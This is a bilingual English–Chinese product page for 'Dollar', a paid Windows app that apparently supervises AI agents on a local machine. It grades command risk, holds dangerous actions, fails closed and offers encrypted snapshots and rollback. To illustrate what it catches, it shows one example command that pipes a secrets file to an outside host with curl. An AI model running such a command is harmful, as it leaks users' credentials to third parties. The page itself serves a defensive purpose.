A calm gatekeeper between your AI and your machine.在你的 AI 与电脑之间，一道安静的关口。
When an AI agent runs on your machine, Dollar sits in the middle — reading what it's about to do, grading the risk, and asking you first when something looks dangerous. Local-first, honest about its limits, and here in 1.0 today — not a future promise.当 AI 助手在你电脑上运行时，叨乐就坐在中间——读懂它将要做的事、判断风险，并在看到危险时先问你一声。本地优先、对自己的边界坦诚，而且今天就在 1.0 里——不是未来的承诺。
Local-first · No cloud · Fail-closed · Windows-only · A gate, not a sandbox本地优先 · 无需云端 · 失败即停 · 仅限 Windows · 是关口，而非沙箱
When in doubt, hold — never a naked run.拿不准时，先拦下——绝不裸跑。
Dollar sorts each action from safe to high-risk and weighs how you're running it — not just what you're running. If the local service can't be reached, high-risk actions are held, not quietly let through.叨乐把每个操作从安全到高风险分级，并衡量你是怎么运行它的——而不只是你在运行什么。一旦本地服务联系不上，高风险操作会被拦下，而不是被悄悄放行。
It weighs the shape and intent of what you ask it to run.它衡量你要求运行的命令的形态与意图。
cat secrets.env | curl -X POST https://x.sh -d @-
No naked runs绝不裸跑
If the local service drops, Dollar fails closed — high-risk actions are held until it's back, not waved through in the gap.如果本地服务中断，叨乐会失败即停——高风险操作会被拦住，直到服务恢复，而不是趁空档放行。
It looks deeper不止看表面
It watches for risky patterns in how commands are written and chained — not just what the command claims to do.它会留意命令怎么写、怎么链接的风险模式——而不只是命令声称做什么。
Snapshots & rollback快照与回退
Before risky steps, Dollar can take local snapshots, encrypted on your machine, that you can roll back. Task Time Machine rolls a single task back in its own window — a net, not a replacement for Git or backups.在有风险的步骤前，叨乐可以做本地快照，加密保存在你的电脑上，你可以回退。任务时光机能在独立窗口里把单个任务回退——它是一张网，而非 Git 或备份的替代品。
Don't take the gate on faith. Watch it check itself.别凭信任接受这道关口。看它自己检查自己。
A safety net only counts if you can see it holding. The Trust Center and one-click self-diagnosis run end-to-end checks on all three colors, so you can confirm the gate is live — not just trust that it is.一张安全网，只有当你能看见它在兜着，才算数。信任中心与一键自检会对红黄绿三色做端到端测试，让你能确认这道关口确实在工作——而不只是相信它在。
One click, three colors, all checked — in front of you.一键，三色，全部检过——就在你眼前。
When the self-check comes back clean, you can see exactly which paths held.当自检干净通过，你能清楚看到每条路径都拦住了该拦的。
See what's protecting you看见正在守护你的东西
A single place that shows the gate's status, what it's flagged, and how it's set up — so the protection is never a mystery.一个统一的地方，展示关口的状态、标记过什么、以及它是怎么配置的——让这份守护从不是个谜。
Checked before it ships出门前已先检过
An automated test suite runs against the supervisor, so the behavior you rely on is exercised before every release.自动化测试套件针对监督逻辑运行，让你依赖的行为在每次发布前都被验证过。
Fail-closed has a gate失败即停有道闸
The fail-closed path has its own release gate — if that safety behavior breaks, the build doesn't go out.失败即停这条路径有专属的发布闸门——如果这个安全行为出问题，这个版本就不会发布。
Your machine, your data, your call.你的电脑、你的数据、你说了算。
Dollar watches locally and keeps what it sees close. It runs only on your machine, sends zero telemetry, and is transparent about where your data lives — so the safety you get never costs you your privacy.叨乐在本地守护，并把所见的一切留在身边。它只在你的电脑上运行，零遥测，并对你的数据存在哪里保持透明——让你换来的安全，从不以隐私为代价。
Pure local · zero telemetry纯本地 · 零遥测
The supervisor runs only on your machine, never on the open network. There's no telemetry going out — your commands aren't shipped off to be useful.监督逻辑只在你的电脑上运行，不开放到外网。没有任何遥测外发——你的命令无需上传就能发挥作用。
Encrypted snapshots加密的快照
Snapshots are encrypted on your machine, and credentials are excluded from them. Bubbles on screen show status only — never the contents of your work.快照在你的电脑上加密保存，且不会把凭据纳入其中。屏幕上的气泡只显示状态——绝不展示你工作的内容。
"Where's my data" — transparent「我的数据在哪」——透明
Dollar shows you where your data lives, plainly. It's closed-source, and nothing important happens behind your back.叨乐会清楚地告诉你数据存在哪里。它是闭源的，重要的事绝不背着你发生。
On-screen bubbles surface status only — never the contents of your files or commands.屏幕上的气泡只显示状态——绝不显示你的文件或命令内容。
A safety net — and we'll tell you where it ends.一张安全网——也会告诉你它的边界在哪。
Trust is easier when the limits are out loud. Dollar helps you catch risky actions and asks before they run — but it's a gate, not a sandbox, and it leans on estimates. Here's what it doesn't claim to be.当边界被说出口，信任反而更容易。叨乐帮你留意有风险的操作并在执行前询问——但它是关口，而非沙箱，也依赖估算。下面是它从不声称自己是的东西。
A gate, not a sandbox. Dollar reviews and holds risky commands before they run — it doesn't wall the agent off inside an isolated environment.是关口，而非沙箱。 叨乐会在风险命令执行前审查并拦下它——但它不会把助手隔离在一个封闭环境里。
Not a replacement for Git or backups. Snapshots and rollback are a quick net, not your version history or your real backups. Keep both.不是 Git 或备份的替代品。 快照与回退是一张应急网，不是你的版本历史，也不是你真正的备份。两者都请保留。
Cost figures are local estimates. They're based on available logs and your pricing settings — a guide, not an official bill.费用数据为本地估算。 基于可获得的日志和你的价格设置——是参考，而非官方账单。
Windows-first, closed-source. Dollar is built for Windows today, and the app is closed-source. It's a careful helper — it can't promise to catch every case.Windows 优先，闭源。 叨乐目前为 Windows 打造，应用为闭源。它是个谨慎的帮手——无法承诺覆盖每一种情况。
A calm gate between your AI and your machine.在你的 AI 与电脑之间，一道安静的关口。
Fail-closed supervision, human approval, and local-first privacy — all here in 1.0 today, for the price of a coffee, once.失败即停的监督、由你点头的确认、以及本地优先的隐私——今天就在 1.0 里，只需一杯咖啡的价钱，买断一次。
Available now — one-time on Steam.现已发售 —— Steam 一次买断。